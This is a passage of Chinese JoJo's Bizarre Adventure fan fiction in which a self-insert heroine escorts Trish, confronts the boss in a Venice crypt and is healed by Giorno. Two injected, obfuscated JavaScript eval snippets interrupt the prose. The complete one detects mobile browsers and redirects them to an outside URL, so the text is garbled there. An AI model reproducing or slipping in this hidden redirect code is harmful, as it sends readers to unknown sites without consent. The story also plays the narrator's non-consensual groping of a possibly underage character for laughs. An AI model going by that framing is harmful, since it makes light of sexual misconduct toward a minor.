特莉休看向我缠绕着绷带的手:“这是你在采买过程中受的伤吗?” “是的,现在或许会有人想要你的命。不过放心啦,我很强,你绝对不会有事。我会把你安全送到的。” 但是你爸会不会有事我就不敢保证了。 特莉休没回应我的自信发言,撑着头好像很无聊地看着窗外的风景。要是我的相机在这就好了,那片阳光落到她发丝上的形状正好合适。 * 乔鲁诺挂着彩回来了。 伊鲁索这个混蛋!他下手不知道轻点嘛,多么漂亮的美少年啊……他怎么忍心的。 虽然我心里很心疼乔鲁诺,而且但我选择去帮福葛上药。 不知道为什么,乔鲁诺长相明明很对我胃口,我心里总是对他隐隐有一丝丝的抗拒。 到底是为什么……明明之前还没有那样的想法的,是因为金发吗。 “嘶……那个,蕾娜塔,轻点。”福葛磕磕绊绊地说。 我“哦”了一声,手上的力度不减:“上药就是很痛的,你忍一下吧。” 在我上药的过程中,我和乔鲁诺对视了短短一秒,然后我率先挪开了眼睛。下一秒我就听到乔鲁诺的声音响起:“我们这次遇到的敌人可以创造镜中世界,他逃得很快。蕾娜塔你认识他吗?” 我没有犹豫直接说:“那是我的前队友,替身能力是镜中人。之前我和纳兰迦碰到的也是我的前队友……要不然我直接告诉你们他们的替身能力吧。” 虽然替身能力是非常隐私的东西,但我基本上也只跟他们抖了抖我的前队友们的替身的一些作用效果,没有说的很详细。所以他们应该不会怪我吧?怪我也没办法,我说都说了。 纳兰迦听了之后问我:“蕾娜塔你和那家伙原来是队友吗?看你打架那阵仗完全看不出来唉!” “更正一下,是前队友。”我稍微用力了一点,福葛又发出了一声痛叫,“现在,我们才是队友。” 布加拉提看了眼我为福葛处理的伤口,露出了欣慰的笑容……在他眼里我到底是什么形象啊?虽然我小时候是有点混世魔王,但我现在可是很善良很好的一个女子唉! 然后他说:“接下来,我们按照老板的指示。先上车。” 开车的人是布加拉提。本来在乔鲁诺想要拉开驾驶座车门的时候,我打算扑过去阻止他的。但布加拉提比我先了一步,所以我就老老实实滚到后面去坐了。 在米斯达和福葛之间,我毫不犹豫地选择了靠着特莉休坐。 哇,真香啊。 说起来我开车其实很癫来着,坐过我车的人,除了纳兰迦和加丘,都说我开车太快太抖了,大概是因为我太喜欢超车了吧。可是布加拉提开车就不一样,布加拉提开车就很稳—— 正当我心里默默夸赞布加拉提稳当的开车技术时,突然他给我来了个急刹加一个拐弯,一时间车内除了好好握紧扶手的米斯达和特莉休,都感受了零点几秒的失重感。 我眼睁睁地看着福葛即将朝我扑过来,正想躲开,突然想到如果我躲开,他就会享受到特莉休的胸埋脸…… 这种好事我还没经历过,怎么可能让他先得逞!所以我也迅速往前一栽—— 我充分发挥了面板速A的水准,抢先一步把脸埋在了福葛的胸前——说句公道话,其实他没啥胸,感觉比我小。 要是我埋的是布加拉提的胸就好了,他很温和,而且我们还是朋友!说不定我悄悄嘬一口然后说是不小心把舌头伸出来的,他都会很宽容地表示没关系,然后让我下次别这样…… 等等,不要意淫你的朋友了! 我手悄悄伸进了他裤子的破洞里,摸了一把他的大腿,另一只手悄悄摸了把他腰。他的腰不错,精壮有力而且足够纤细。要不是捏一把太明显了,我绝对要捏一把。 福葛皮肤质感光滑细嫩,像养尊处优的大少爷能有的皮肤,不过大少爷是不会做黑手党的。 等等,他多少岁来着? 感觉再摸下去他就会发现我是故意的了,不知道这小子开不开明,但我先发制人:“抱歉,我不是故意的。” 我一边思考这样算不算猥亵未成年人一边小心翼翼把手从他破洞裤里抽出来,低着头直起身子,淡淡地说:“不过你皮肤挺好的。” 福葛耳朵的红晕瞬间蔓延至了整张脸和脖子,那抹红晕在他的微微颤抖的白色发丝下异常显眼,他慌乱地从地上爬起来,理了理凌乱的衣服,暗红色的双眼闪躲着,他大声地叫着:“谁让你评价感想了!” “额……不用谢。” 我慢慢坐了回去,叹了口气,原本想卖个萌装傻的,这招对加丘特别管用。但我突然想到,福葛又不是加丘,他大多数时候都在和我一样装,很有可能能够看穿我其实在演戏,遂放弃。 在听到我说“不用谢”的时候,米斯达发出了剧烈的笑声。我马上朝米斯达看过去:“你别笑了,信不信等会我就来摸你腰。”让他知道一下男人出门在外不能露腰,露伴老师的我不好意思上下其手,你的我还不敢吗? “你来啊。”他的手在他的腰那拍了拍,“不用跟我客气。” 特莉休看着米斯达翻了个白眼,我笑眯眯地说:“这家伙太骚了是不是?” 在米斯达“喂你到底摸不摸啊”的背景音里,特莉休看着我缓缓说:“你是不是摸谁都要说一句皮肤好吗?” 我悄悄贴到她耳边,发现她没有推开我或者拒绝我,我露出了一个欣慰的笑容,然后轻声说:“阿帕基的皮肤就很糙,真的。” 在她“你为什么谁都摸了两把”的震惊眼神中,我坏坏地笑了一下:“你为什么不推开我,然后说你讨厌身体接触了呢?” 特莉休这才反应过来我们似乎考的太近了,近的有些暧昧了。我只要稍微低下头,就可以看见她甜美傲人的曲线,有些干的嘴唇,还有轻轻颤抖着的浓密睫毛,脸上的细小绒毛,微微染上红晕的双颊…… 她急忙推开我,端正坐好,望向另一边。 我吹了声口哨,掏出一瓶水,递给她:“渴了吧?法国产的硬水。” 她接过去后看着我手上缠着的绷带,然后慢慢说:“我也可以喝普通水的。” 28.老板的最后一条命令 按照老板的命令,我们一路赶向威尼斯。 老板给我们的交通工具是一只拥有替身能力的乌龟,被吸入那乌龟内部后,我们一行人来到了一个密闭的房间。 这里安置了柔软的沙发,常见的水果和饮料,甚至还有花瓶做装饰。 装扮很普通,每三家酒店里或许就有一家酒店的会客厅会打扮成这样。我依然无法观察出老板的喜好。 也不知道梅洛尼的baby face有没有跟过来。希望那个东西能够聪明点,不要突然闯进来,这个地方可是全密闭空间,要是被发现了就会被解决啊。 “要喝饮料吗?是冰饮。”布加拉提递给我一罐冰可乐。 我摆摆手:“不了,喝不来气泡水。有橙汁吗?” “哇,那你也不喝啤酒了?”米斯达边给他的替身喂食物边问我。老实说,每次他给他的替身喂食物的样子都在散发一种慈爱的光辉。 我点点头:“不喝啤酒,我一般只喝红酒和果酒。我酒量还算不错,不容易醉。要是你们想去酒吧玩可以找我,我老熟客了。” 布加拉提问我:“你一般都和什么人去?” “同学啊,我有些同学每天不喝一点就跟要了他们命一样。” “你还在读书?”福葛语气不明地问。 我骄傲地说:“正儿八经的大学生,我学油画的。” “看到你现在过的也好,我就放心了。”布加拉提微微笑着说,看上去是真的在为我高兴,“但你为什么要加入黑手党?如果是闹着玩的话,这可不好。” ……哪壶不开提哪壶呢。 我纠结了一下要不要告诉布加拉提我是为了箭而来。但突然想到持有箭的死去的波尔波似乎就是他的前上司,要是我这么一问让布加拉提觉得是我杀死了波尔波那可就不妙了。 于是我沿用了我告诉霍尔马吉欧的那套理由:“为了我父母,我得到了一些关于我亲生父母的消息,我想要找到线索,但线索中断了,所以我想加入热情得到有关消息。” “你亲生父母?”特莉休突然冷不丁地问我。 我点点头:“我是一个孤儿啦,以前也是在孤儿院和布加拉提认识的,后面在医院认识了我的养母们,被她们收养去了日本。” “养母们?” “她们是女同,感情很好的,对我也很好……是我真正的亲人。” 乔鲁诺这时好奇地问我:“你为什么还要去寻找你亲生父母的消息?” “唔……好奇?哈哈哈别管那么多啦。我觉得加入热情挺好的,如果没有加入热情我不就认识不了你们了吗?我还怪喜欢你们的。” 看我一记直球攻击,转移一下你们注意力。 果不其然转移注意力了,但达成的效果和我想象中不一样,我是想看到某人害羞一下或者被我感动到的,可是福葛——顺带一提我才知道原来他是个高智商被退学大学生,不是个智障——很没眼力见地说:“我们才认识几天吧。” 没等我开口,一旁盯着天花板看守情况的米斯达就装酷说:“那说明我们磁场合得来,一见如故咯!” “米斯达,这下我是真的喜欢你了。”我忍不住感慨。 米斯达站在凳子上摇晃了一下,摸了摸他后脑勺,哈哈笑了两声:“是吗?我也挺喜欢你的,任务结束后要不要一起去喝一杯?” “行啊。” 我们两个两言三语就敲定了任务结束后要去哪玩。 希望到时候他还有心情和我玩吧,不出意外的话,把特莉休交给老板的时候,我也要联系暗杀组准备动手了……要是能成功,说不定里苏特会做boss,成功不了……不会有这个可能的,我一定会赢。 “你在想什么,蕾娜塔,表情突然变得很严肃。”布加拉提一本正经地看着我,“是在想任务结束后要去吃什么吗?” “……不是。” 是我的错觉吗?我怎么感觉我在布加拉提眼里很没心没肺一整天不是吃就是玩呢? 我忍不住吐槽:“斑布加拉提,你看我的严肃表情就说明我在想正经事……” 我突然灵机一动,凑到他耳朵旁边,主要还是防止让我旁边的乔鲁诺偷听到我在说什么。 我小声说:“我在想你的胸软不软?” 看着布加拉提突然挺直的背,我心满意足。别打扰我思考了!这小子,等任务结束我再找他玩不好吗? “所以是要摸吗?” 嗯? 还没等我脑子反应过来他在说什么,布加拉提突然凑近,一把握住我的手,真挚地看着我,我看到他亮闪闪的眼睛,像卡普里岛的大海一样的蓝色眼睛…… 太近了…… 他的嘴唇很薄,也有些干,或许我该给他买支唇膏。他的脸颊有些微红,在他距离一点点与我拉近时,我闻到他身上传来的淡淡的香气,他的发尖扫到了我的脸颊…… 太近了……近到我能在他那双透亮的蓝色眼睛里看到我的倒影,只有我一个人的影子映在那片海中,近到我们的鼻尖快要碰到一起了…… 我想往后退却退不了,否则我会撞到乔鲁诺身上,但又不能往前走。 于是我崩溃地大吼:“太近了!” 我一把推开布加拉提,指着他大叫:“你不知道你这个距离太近了吗?有点分寸啊!我们都是成年人了!” 他看上去很无辜地说:“可是以前蕾娜塔经常粘在我身上甩都不甩不下来。” 我感觉我的脸都涨红了,我大叫一声:“那是我不懂事!” “噗。”我回头看见坐在我俩旁边的乔鲁诺似乎在憋笑。 “笑什么啊,臭小子……和你有关吗?你就笑。” “抱歉。”他嘴上说着抱歉结果依然在憋笑,我懒得喷他了。 而布加拉提,他似乎还没有搞清楚情况,很直白地说:“看来我误解蕾娜塔你的意思了,抱歉。” “我说的也不是这个意思啊……你根本不明白!” 毁灭吧,这个世界。我累了。 ** 贝利可罗用他的生命告诉了我们老板的指令,虽然我有些意外他就这么选择自杀,但我没想到这个小队竟然有人会为他的自杀而难过。我和他们站在一起为贝利可罗的死去默哀了一会。 其实我并不为他的死亡而难过,正如他所说的,这只是他为组织效忠罢了。对于他来说,或许死亡不过是成为忠诚之人的微小代价。 布加拉提命令我,米斯达和乔鲁诺一起去拿老板的[OA-DISC],但最后上岸去拿的人只有我和乔鲁诺,米斯达负责呆在车上侦察情况。 我知道不会有敌人来了,就算有也只会是在和老板交接的时候出现。我和里苏特已经达成了共识,就算热情有其他要背叛老板的人,应该也在路上被他们解决了。 就当我刚拿到[OA-DISC]时,baby face赶到了,还被乔鲁诺发现了! 我感觉这小子成天都在盯着我看,但是我没有证据!可恶啊! 我本来是想叫baby face先跑,我再假装去追击它,然后它趁机躲进我的永恒的静止里面的。 但是这家伙和乔鲁诺打起来了! 它一边打还一边叫我:“妈妈!妈妈!帮帮我!” 想想也知道我怎么可能来帮它! 这么笨肯定和我没有关系,这个替身的父体是谁,到底为什么会笨成这样…… 乔鲁诺也被这个笨蛋的叫妈声震惊到,然后被攻击中了,他现在眼睛上缺了一块,但他没有做更多的动作,而是突然对着我大吼:“你快点跑!它是冲着你来的,去找米斯达帮忙!” “……”我本来是有跑路的打算的,毕竟我是真的不想攻击baby face。但是乔鲁诺这么一喊,我又不可能真的丢下他了。 我记得梅洛尼说过,这个替身不会完全受他掌控,也就是说就算梅洛尼听了我的话阻止它杀死乔鲁诺,也许这个替身依然会解决掉乔鲁诺。 于是我扶起倒在地上的乔鲁诺:“不,我和你一起。“ 乔鲁诺很震惊地看着我,他低下头抿抿唇,然后握紧我扶住他的手,似乎做了什么决定,说:“好!” 紧接着他突然掏出一块部件……嗯?那是他的眼睛? 然后他看着我笑了笑:“我突然发现我可以创造生命部件,这样他的能力对我伤害就不大了。” ……这家伙,难道和梅洛尼是同类型替身吗? 在我和乔鲁诺的配合下,baby face很快失去了作战能力,我没有看乔鲁诺,告知他一声:“我来最后一击吧。” 他似乎想要说点什么,做点什么,最后还是什么也没做。 我抱起伤痕累累,奄奄一息的baby face,像抱住一个真正的婴儿般托起它,然后小声说: “乖孩子,我不想伤害你的,可实在没办法了。你把最后一条信息传达给梅洛尼好吗?你愿意为了妈妈死吗?” “你告诉梅洛尼,我把他之前安装在我手机上的定位器重新启动了,让他想办法连接上,好吗?我即将去威尼斯。” “……好……”baby face断断续续地说,“妈妈……我做到了,你会爱我吗?” 我不知道为什么这个替身会突然问我这个问题,按道理说它们应该都是没有自主意识的,替身只是替身使者的精神能量的一种具现化存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我给梅洛尼发了条短信:工作即将结束了,我打算在威尼斯待一会再回来。 希望这个像是朋友间闲聊的话不会引起老板的注意。 更麻烦的一点是,老板只让一个人带特莉休去进行最后的交接。 正当我准备开口说要不我去送特莉休吧。 乔鲁诺先开口了! 靠!这小子坏我好事啊! 但是下一秒我就感谢这家伙了,因为阿帕基马上开始戳着他胸口,质问:“你这个臭小子,怎么想都得是身为干部的布加拉提去做这个任务!” 我默默转过头不说话。 最后的结果是乔鲁诺给了布加拉提他的胸针,然后布加拉提独自一个人带着特莉休下船,走进了教堂。 那么,我也该下船了—— 正当我这么想的时候,突然,我感觉有什么时间转盘转动的“嘀嗒”声和“咔嚓“声响起,然后我就站在了岸边。 “喂!你在干嘛!“阿帕基大声说,“现在不是胡闹——” “不要吵!“我大吼,“有什么奇怪的事情发生了……“ 明明我刚刚还在船上,只是正准备下船,为什么下一秒就会出现在岸边,这绝对不是我遗忘了什么,而是时间被改变了! 和我发动蓦然回首时的感觉一样!这里的时间被改变了! 布加拉提的能力和时间没有任何关系,那么就只有—— 是boss! 我感到不妙,回头冲着乔鲁诺大喊:“你是不是在布加拉提身上安了定位器,给我!” 我一把抢过他拿着的电脑,不顾身后的喊叫声,直接朝教堂冲进去。 电脑显示的画面上,布加拉提正朝着电梯下方移动,正常情况下他应该是坐着电梯往上的,果然发生了不妙的情况! 难道他遭到老板的攻击了?不,不对,他没理由要背叛老板,除非…… 管不了那么多了!我要找到布加拉提! 可就在这时,约旦河阻止了我。 它说:“蕾娜塔,这是布加拉提的命运。为了他独自前去和那人对峙并不妥当。” 我感到可笑,它只是一个替身而已,有什么资格命令我! “命运?约旦河,你忘了,我对你说过多少遍了……” “我讨厌命运,也从来不相信命运。” 如果命运让他死,那我就要让他活,不仅要让他活,我还要他活到一百岁。 就让那见鬼的命运去死吧! 我没有管约旦河,径直朝纳骨堂奔去,也就没有看见约旦河那张没有五官的纯白的脸上,突然冒出了一只只巨大的纯黑的眼睛。 它看着我决然的背影,机械般的声音第一次有了鲜活感:“如果这是你的意志……” “难道这也是命中注定的吗?” 29.命运窥探者(二合一) “布加拉提——” 我在布加拉提即将前往教堂下层时找到了他,他看着我和我手里的电脑,眼底闪过一丝惊讶,但很快他便明白了过来:“特莉休,老板带走了特莉休——” 我理解了他的意思,立刻打断他:“不用多说了,布加拉提,我们一起。” 我握住他的手,他只稍微犹豫了一下便一把拉过我,带着我通过拉链穿梭到了教堂下层—— 纳骨堂。 这是我第一次见到布加拉提的替身“钢链手指”,没想到他竟然能够通过拳击制造拉链,再通过拉开的拉链穿过地板,直接到达地下。 我使用约旦河进行传送几乎都只能在目视范围内进行,这样直接穿透一个墙壁我暂时还做不到。 我和布加拉提贴在纳骨堂的柱子缓慢落地。 纳骨堂内灯光黑暗,大概只在墙角几处点了灯火,四周乌压压得不知道黑暗处是否藏着什么东西,只能看见很多根起支撑作用的圆柱,隐约能够看见做工精美的吊顶。 我没有宗教信仰,但有听说过大多数教堂的地下都是做墓葬或者祭祀用的。而这里的氛围也很适合墓地,这里异常的安静,仿佛只要我稍微动一下,就能够听到这个空荡的纳骨堂传来回音。 太安静了,安静到我能够清晰地听见布加拉提略显急促的呼吸声,以及一道较为平缓却有些微弱的呼吸声,还有……一个微小到几乎不可捉摸的气息。 我知道,他就在那柱子后面,和或许已经陷入昏迷的特莉休一起。 那个以极为残忍的方式处决了所有意图探查他真实身份的人,哪怕是窥探他心腹的秘密我也找不到他的任何资料。他是意大利最大的黑手党组织【热情】的boss,同时他也是……【箭】的持有者。 我忍不住咬紧下唇,看向布加拉提,他的额头上布满了细密的汗珠,我想他也知道,只要我们从那柱子的阴影中走出,就可以看见那个神秘的老板。 “布加拉提和蕾娜塔,只要你们现在转过身然后回去,那么我就会原谅你们。”一道低沉却充满威压的声音响起,他的语气无不体现他的傲慢,也丝毫不掩盖对我们的恶意与威胁,“如果你们胆敢从柱子后面出来,那么……在那一刻就是你们的死期。” 布加拉提在一听到那道声音时,他蓝色的瞳孔因为恐惧收缩了一下,可他的眼神很快发生变化,恐惧消失了,那双蓝眼中只透露着坚决,他似乎下了什么决心…… 他是在这一刻才彻底决定要背叛老板的吗?仅仅只是为了特莉休,一个他才认识不过一周的人? 我感到有些意外,同时也有些佩服。 伴随着“嗖嗖”声,布加拉提攻击了老板,显然没有攻击成功,老板躲起来了,柱子后面只躺着一个断了一只手的昏迷的特莉休。 我站在原地没有动,看着布加拉提用拉链把特莉休的手接上,然后说:“我会告诉特莉休,她的父亲已经不存在了。” 不知道在黑暗的哪一角窥探着我们的老板冷笑了一声:“你才成为干部没多久,对于你能完成这次护送任务我是非常感谢且佩服的。但我的女儿和你有什么关系?你只是为了获得更多的利益才想要背叛……但这并不值得。” 他的语气稍微缓和了一下,慢慢说:“站在一旁看着的蕾娜塔,你也要背叛我吗?贝利可罗多次跟我说过你的出色,这个任务结束,你就可以被调到我的亲卫队。无论你是想要财富,还是权力,又或者男人女人,你都可以拥有……看在你没有第一时间攻击我的份上,我可以给你一个机会。” 我看着布加拉提:“布加拉提,你怎么看?” “我会背叛老板,但这与你无关。” “是吗……”我转过身,凝视着黑暗的某处,“b老板,你知道《最后的晚餐》吗?应该全世界的人,无论是否信仰宗教,都知道那个故事,达芬奇的代表作之一也是描绘那个场景的壁画。说起来比较有意思,这个教堂里也有一副《最后的晚餐》” 黑暗中潜伏的人的声音变得不善了起来,隐隐透着威胁:“你是想说,你也想做那个犹大?” “不,我只是突然想到了。”我立刻拔出里苏特送给我的刀,大喊“约旦河!乌有之门”传送到先前我推测到的boss的位置,然后挥刀一砍—— 奇怪的事情发生了。 我砍到的人……是我自己? 伴随着一个钟表齿轮运作的声音和一道咔擦声响起,我的位置在眨眼间改变了,而在那一瞬间我感受到了一股剧烈的疼痛。 “蕾娜塔!”是布加拉提的喊声。 我低下头看着我肚子上的那道醒目的血痕,忍不住伸手去触摸那道被砍中的伤口……为什么我会砍到自己?难道老板的能力是置换双方位置……还没等我开始思考,一个让我恶寒的气息出现在我背后,剧烈的疼痛感和那人带来的压力感竟然让我一时不敢转过头。 “我以为你是个聪明人,可你做了一个错误的决定。在你死前我就大发慈悲地告诉你吧,我的绯红之王可以消除时间直接抵达未来,所以攻击了未来的你……” “这就是你有恃无恐的理由?” “桀桀桀桀……”我忍不住阴笑了起来,“boss啊,替身能力这种东西应该和你的□□一样不要随便拿给别人看的。” 我肚子上的伤口瞬间感觉不痛了,我微笑着转头,准备看向这个自以为是的告诉了我他的替身能力的家伙—— ?! 不是这个长的这么丑的东西是什么啊? 这不可能是人吧,人不应该,至少不可能,长成这个鬼样子啊,这难道是替身? 妈呀这简直是我见过的最丑的替身,比约旦河还丑了啊。 那个红色为主色调的替身拥有一张如同猥琐的抢劫犯的脸,顶着个青蛙一样鼓起来的圆形的眼睛,表情异常狰狞,而这张丑脸上还顶着一张缩小的一样丑的脸!双重打击啊!和这个丑东西近距离接触给我的眼睛和心灵造成了不可磨灭的伤害! 我突然感觉有点反胃外加有点好笑,嘴角抽搐地注视着这个丑爆了的替身…… 看不下去了,我还是看着天花板说话吧。 “你觉得时间系的替身使者,只有你一个吗?”我用余光看着那个丑替身,绕到了布加拉提和提特莉休面前,挡在他们面前,我按住了想要站起来的布加拉提,继续说:“那就来试试吧,是你的绯红之王更厉害,还是我的约旦河更胜一筹!” 说完,我瞬间感受到了他似乎想要启动绯红之王削掉时间的那个能力,那一瞬间就像是加了慢倍速镜头,我大喊一声:“约旦河!蓦然回首!作用到绯红之王身上,让他的时间回溯!” 在约旦河的手跟橡胶一样延长几米触碰到绯红之王的那一刻,绯红之王的删去时间和约旦河的时间回溯相叠加,世界的时间流动在我们两个手里不断操控着,我们都试图做那个能够真正掌握时间的人,然后—— 时间停止了。 我能发现时间停止是因为这个感觉和我呆在“永恒的静止”的感觉一样,但是与众不同的是——我面前的绯红之王也拥有可以自由活动的权力。 他似乎也察觉了时间静止了这件事,但他并没有因为我突然的爆能力而感到退缩,也没有对我产生恐惧,而是站在原地审视着我:“贝利可罗说你能力出色,果不其然。原来你还留了底牌。” “这可不是我的底牌。”我看着那个丑到爆的替身,摊开手说:“有人说,这个世界上的一切都是守恒的,无论是善恶,还是生死……” 他打断了我:“你想说什么?” “唉都怪你打断我,我没思路编下去了。我本来很享受这种作战途中说话拉家常,你不觉得这样更显得我胜券在握吗?”我笑着和他周旋,我们都没有朝对方攻击,因为无论是他还是我都不清楚对方的替身射程。 他和我一样绕着圈行走,那个丑替身的青蛙眼直勾勾地盯着我,仿佛想要将我撕成碎片:“虽然我会处决你们,但我很佩服你的义气……只是有些不自量力,为了同伴竟然想要背叛我。为了这种不值一提的情义……” 我摇摇头:“我并不是出于很高尚的理由或者什么情义才会和你对峙的。我仅仅是听从了我的内心,我所做一切皆只为我的意志。” 我话音刚落绯红之王便朝我攻击而来,约旦河马上变换了它手的形态握住绯红之王的拳头。 我们在静止的时间内打斗,无人知晓我们之间的战斗,只有我们身上的伤口足以证明。 在躲过绯红之王又一个的攻击时,我开口:“我有个猜想,只要我和你当中某一个人停止使用替身,时间就会继续流动,所以——” 我话音刚落,绯红之王就停止了他的能力,然后以极快的速度朝我冲来,我来不及闪躲,只能指望约旦河争点气和他对上,但就在这时布加拉提突然呼唤我的名字朝我丢过来一个东西—— ?是乔鲁诺的瓢虫徽章?! 我要骂人了,他都给我丢什么玩意啊,这么大一点能当盾牌吗?还是他被乔鲁诺灌迷魂药了真以为这个可以护身。 正当我表情抽搐的那一刻,奇迹出现了! 这个瓢虫徽章突然变成了一个乌龟,然后它把老板吸进去了! 我靠,还真能护身。这是老板给我们的交通工具?乔鲁诺怎么做到的,他是天才吧! 正当我抓着那个乌龟愣神时,抱着特莉休的布加拉提一把拉过我:“走!” 布加拉提带着我们离开纳骨堂,在离开前一秒我看到绯红之王从乌龟中脱身,它直勾勾地看着我,说了什么,我没有听清,但是看口型大概是:“你会受到惩罚的。” 我比了一个中指:“呵呵。你无能狂怒的样子真好笑。” * 接下来我差不多半昏迷过去了,因为我身上留了很多伤口,最严重的那个是我自己砍自己的那道位于腹部的伤口。如果我是漫画角色,或许那一刻我的肠子就会全部流出来了。 里苏特给我刀真的太好用了,我感觉我要是稍微多用点力就真的会把自己砍成两半,完成我杀我自己壮举。 刚刚和老板对峙时只能硬挺,一离开那个纳骨堂我就立刻瘫软过去了。 布加拉提驮着我和特莉休两个人走到了教堂中央,我身上留下的鲜血还打脏了他的西装,他一直安慰我:“没事的蕾娜塔,等见到乔鲁诺就好了,你千万要保持意识清醒好吗,没事的……” 我很想说别哔哔唠唠了我还没死,但我没有力气让布加拉提闭嘴。我的脑子昏昏的,耳边全是嗡嗡作响的声音…… 可恶,好痛。我一定要干掉老板那个混蛋。可恶。 “这是怎么回事?!”乔鲁诺突然出现扶住我,似乎想要现在就把我治好。 我抓住他的手,喘着气:“先出去,我还可以忍。” 布加拉提又说了些什么,我听不进去。太痛了,好痛,可恶的老板,可恶。好痛。 我一半脑子快要痛昏过去,一半脑子痛的想杀人,组合在一起后,我的脑子里充斥着把老板那个死鬼分尸了几百遍也无法消解的愤怒。 混蛋,比吉良吉影炸死我那次还要痛…… “这不是理智的决定!” 直到福葛中气十足的质问以及乔鲁诺能力发动带来的巨痛,我才清醒过来。 我的头枕在乔鲁诺的膝盖上,按照往常我肯定会好好享受一番美少年的膝枕,但是对于现在承受着巨痛的我来说,这个美少年是恶魔啊! 更何况旁边还有人在吵架。我忍无可忍地大吼:“狗日的别吵了!没看到这里有个人都要死了吗?吵什么吵!等我死了再吵行不行!” 福葛的声音弱下来了。乔鲁诺不赞同地皱了皱眉,一把捂住我的嘴:“不要乱动。”然后一把举起乌龟,把我和他拖到了乌龟里。 他把我平摊在在沙发上后,再次将手又伸向我腹部的巨大的伤口。 虽然我真的很喜欢黄金体验,它的能力我也很喜欢,但是这个治疗真的有点痛。 我看着面无表情埋头为我治疗的乔鲁诺,努力不让自己的面目表情狰狞,咬牙切齿:“你的治疗,为什么,这么,痛。“ 比我受伤时还要痛! 闻言,乔鲁诺露出了一个如春风般温暖的笑容,却说出了非常恶毒的话:“把手松开,你抓着我的手快把我手臂挖出血了。” “疯狂钻石……”在一阵阵剧痛下我咬牙低语,“我要疯狂钻石……” “嗯?那是你前队友的替身吗?他也可以治疗吗?真是可惜,你现在只能让我治疗,不然你就要死了。加油吧,再过十分钟就好了。” 我看着那个用一张漂亮脸蛋说出这个世界上最恶毒的话语的美少年,抓着他手臂的手忍不住加大力度。 仗助……仗助,你真的是小天使,我好想你……你什么时候能带你的疯狂钻石来意大利找我…… 等乔鲁诺终于结束了治疗,我生无可恋地躺在他的膝盖上,平生第一次对着一张离我这么近的俊俏美少年面庞没有任何想法,只有淡淡的想死感。 乔鲁诺像是个幼稚鬼一样突然开始揉我的头发,我没有力气让他别乱动我了,我的力气在刚刚的挣扎未果中已经耗尽了。 直到布加拉提从外面进来了,乔鲁诺才停止他扒拉我的手。 布加拉提看了眼还在昏迷的特莉休,又看向乔鲁诺和我:“治疗结束了?” 乔鲁诺点点头。 我马上坐起来:“所以现在是怎么回事,我们离开了教堂了?老板没来追杀我们?乔鲁诺是怎么回事,他是跟着我们叛逃了吗,我们现在要去哪……” “具体的情况,我一会跟你说。”布加拉提坐了下来,乔鲁诺马上给他让了个位置,坐到了另一张沙发那,“你现在腹部的那道口子愈合好了吗?” “小事,乔鲁诺给我治疗好了,倒是你……” “很痛吧。”布加拉提仿佛没听见我在说什么一样,用他那双如大海般仿佛可以坠入其中的眼睛看着我。 “蕾娜塔,你从很早以前开始就不是一个能够承受疼痛的人,辛苦你了,以及谢谢。” 在我还没有察觉前,方才没有流出来的生理性泪水就已经如爆发的火山般涌了出来。 和多年前一样,布加拉提没有问我任何原因,也不顾我的意愿,无条件地将我拥入怀中。 * 布加拉提说他们正在离开威尼斯,队里的其它人决定和我们一起叛逃,他们计划先去找到老板的真实身份。 他没说其它的,但不知道为什么我总觉得——乔鲁诺这家伙本来就打算背叛老板吧。他的样子太过从容淡定,简直就像早就做好了准备一样。 他那个流氓巨星的梦想是认真的? 在布加拉提的强烈要求下,我只能把我的衣服掀起来给他看我腹部的那道伤口。显然这超出了他和乔鲁诺的预设,因为那道伤口并没有完全恢复。 我第一次在乔鲁诺眼中看到了紧张:“为什么……黄金体验应该能将你彻底治好的。” “不是你的问题,哪怕是疯狂钻石也无法彻底治疗好我,可能这就是强大的代价吧哈哈哈。” 我从约旦河那里拿过绷带,准备给自己包扎,想了想又补充了句:“疯狂钻石是我在日本的一个朋友的替身,能力是修复,还是无痛的。” 乔鲁诺微微垂下眼:“抱歉,黄金体验无法做到无痛。” ……不知道为什么我突然觉得有点良心不安,该不会这就是这小子的目的吧! 我撇嘴:“好了,我现在要脱衣服给我自己处理一下伤口,你们先出去。” 布加拉提:“我们打算找个地方吃饭,你解决好后就出来吧。” “好。” “……”看着在原地一动不动连屁股都不挪动的乔鲁诺,我气笑了:“你想看我裸体吗?快点出去啊,还在读中学的弟弟。” 乔鲁诺只是深深看了我一眼,也没和我嘴贫,离开了乌龟。 其实我把他们赶出去不仅仅是因为我要脱下衣服处理伤口,还是因为:我很在意约旦河在阻止我去找布加拉提时说的话。 我叫出约旦河:“你说的布加拉提本来的命运是死亡,是什么意思?” 约旦河:“你真的想知道?” “嗯。” 我一说完,约旦河马上从人形变成了一坨不断蠕动的流体,然后向我冲来,把我包裹起来。 我刚想挣扎,脑子……或者我的眼睛,就看到了一些画面。 那是……布加拉提小队在护送特莉休的画面?但是里面没有我。 我感到有丝怪异,但没有阻止约旦河继续播放画面。约旦河似乎明白我的怪异,说了一句奇怪的话:“这是本来应该发生的命运。” 本来应该?也就是说这个本来里面没有我的存在?有点意思。 画面闪得很快,我很快看到了……我的前队友一个接着一个来攻击我的现任对友。 原来我前队友他们的这么惨吗?我甚至无法锐评哪一个死的更惨了。被子弹射穿被火烧死的,连个尸体都没留下的,被火车给压死的,被碎尸的,被蛇咬死的,被一个尖刺戳破喉管的…… ……这也太惨了吧,哥们,就算知道是假的,我都有点不忍心看了啊。 他们是一个接着一个送人头吗?妈呀。 对比之下,在我的掺和下,这群家伙至少还可以喘气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293117|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 哎哟,要是有机会让他们看看这段记忆就好了,这样这群可怜蛋不就欠我人情了? 但到了布加拉提的片段,我终于还是忍不住问:“他是死了但是仍然以尸体的形态活动吗?” 